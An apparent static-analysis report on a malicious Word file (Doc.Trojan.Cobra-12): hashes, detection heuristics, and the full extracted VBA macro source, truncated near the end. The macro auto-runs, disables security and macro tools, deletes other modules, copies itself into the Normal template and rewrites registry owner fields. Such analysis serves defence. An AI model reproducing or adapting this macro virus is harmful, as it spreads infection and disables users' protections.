Doc.Trojan.Cobra-12 — Office (OLE) malware analysis

Static analysis result for SHA-256 d6276426328da3b9…

MALICIOUS

Office (OLE)

33.0 KB Created: 1998-08-29 05:05:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 945f8c89d3fe0f7f454b7c0ea4b7a43f SHA-1: 7134d207e9b3fd87abd9288e0ec4c044fd44b970 SHA-256: d6276426328da3b92b0e0fc5bdef501a789d4ac976f28ace11c36334d134138b
320 Risk Score

Malware Insights

Doc.Trojan.Cobra-12 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1564.004 Disable or Modify Tools

This malicious Word document contains VBA macros that are designed to execute automatically upon opening. The script attempts to disable macro security features and manipulate the VBA project, likely to hide its malicious activity or prevent removal. The presence of Shell() and CreateObject() calls indicates an intent to execute arbitrary code, consistent with a trojan dropper.

Heuristics 8

  • ClamAV: Doc.Trojan.Cobra-12 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Cobra-12
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4821 bytes
SHA-256: 3f211913346e9a78bd0c5e1fc482bb5cd2c5ea74f0fc4fdc4f34f4c1de07f1bc
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Fri"
'Cobra Version 2.0I
'A New Electronically Poem

Sub AutoOpen()
Call CobA
End Sub
Sub AutoClose()
Call CobA
End Sub
Sub FileNew()
Dialogs(wdDialogFileNew).Show
Call CobA
End Sub
Sub CobA()
On Error Resume Next
CommandBars("Tools").Controls("Macro").Enabled = False
CommandBars("Tools").Controls("Macro").Visible = False
CommandBars("Tools").Controls("Macro").Delete
CommandBars("View").Controls("Toolbars").Enabled = False
CommandBars("View").Controls("Toolbars").Visible = False
CommandBars("View").Controls("Toolbars").Delete
FindKey(BuildKeyCode(wdKeyF11, wdKeyAlt)).Disable
FindKey(BuildKeyCode(wdKeyF8, wdKeyAlt)).Disable
Options.VirusProtection = False
Options.SaveNormalPrompt = False
Dim U, D, B
If WeekDay(Date) = 1 Then Mod1 = "Sat"
If WeekDay(Date) = 2 Then Mod1 = "Sun"
If WeekDay(Date) = 3 Then Mod1 = "Mon"
If WeekDay(Date) = 4 Then Mod1 = "Tue"
If WeekDay(Date) = 5 Then Mod1 = "Wed"
If WeekDay(Date) = 6 Then Mod1 = "Thu"
If WeekDay(Date) = 7 Then Mod1 = "Fri"
For Each Doc In ActiveDocument.VBProject.VBComponents
If Doc.Name <> "Sat" And Doc.Name <> "Sun" _
And Doc.Name <> "Mon" And Doc.Name <> "Tue" And _
Doc.Name <> "Wed" And Doc.Name <> "Thu" _
And Doc.Name <> "Fri" And Doc.Name <> "ThisDocument" _
And Doc.Name <> "Reference to Normal" Then
Application.OrganizerDelete Source:=ActiveDocument.FullName, Name:=Doc.Name, Object:=wdOrganizerObjectProjectItems
End If
Next
For Each Doc In NormalTemplate.VBProject.VBComponents
If Doc.Name <> "Sat" And Doc.Name <> "Sun" _
And Doc.Name <> "Mon" And Doc.Name <> "Tue" And _
Doc.Name <> "Wed" And Doc.Name <> "Thu" _
And Doc.Name <> "Fri" And Doc.Name <> "ThisDocument" Then
Application.OrganizerDelete Source:=NormalTemplate.FullName, Name:=Doc.Name, Object:=wdOrganizerObjectProjectItems
End If
Next
ModFound = False
OldMod = "Module1"
For Each Doc In ActiveDocument.VBProject.VBComponents
If Doc.Name = "Sat" Or Doc.Name = "Sun" _
Or Doc.Name = "Mon" Or Doc.Name = "Tue" Or _
Doc.Name = "Wed" Or Doc.Name = "Thu" _
Or Doc.Name = "Fri" Then
ModFound = True
OldMod = Doc.Name
End If
Next
ModFoundN = False
OldModN = "Module1"
For Each Doc In NormalTemplate.VBProject.VBComponents
If Doc.Name = "Sat" Or Doc.Name = "Sun" _
Or Doc.Name = "Mon" Or Doc.Name = "Tue" Or _
Doc.Name = "Wed" Or Doc.Name = "Thu" _
Or Doc.Name = "Fri" Then
ModFoundN = True
OldModN = Doc.Name
End If
Next
If ModFound = True And OldMod <> "Module1" Then
Application.OrganizerRename Source:=ActiveDocument.FullName, _
Name:=OldMod, NewName:=Mod1, Object:=wdOrganizerObjectProjectItems
Else
Application.OrganizerCopy Source:=NormalTemplate.FullName, _
Destination:=ActiveDocument.FullName, Name:=OldModN, Object:=wdOrganizerObjectProjectItems
Application.OrganizerRename Source:=NormalTemplate.FullName, _
Name:=OldModN, NewName:=Mod1, Object:=wdOrganizerObjectProjectItems
End If
If ModFoundN = True And OldModN <> "Module1" Then
Application.OrganizerRename Source:=NormalTemplate.FullName, _
Name:=OldModN, NewName:=Mod1, Object:=wdOrganizerObjectProjectItems
Else
Application.OrganizerCopy Source:=ActiveDocument.FullName, _
Destination:=NormalTemplate.FullName, Name:=OldMod, Object:=wdOrganizerObjectProjectItems
Application.OrganizerRename Source:=ActiveDocument.FullName, _
Name:=OldMod, NewName:=Mod1, Object:=wdOrganizerObjectProjectItems
End If
If System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\", "RegisteredOwner") <> "Cobra At " + Mod1 Then
System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\", "RegisteredOwner") = "Cobra At " + Mod1
System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\", "RegisteredOrganization") = "Dhaka,B
... (truncated)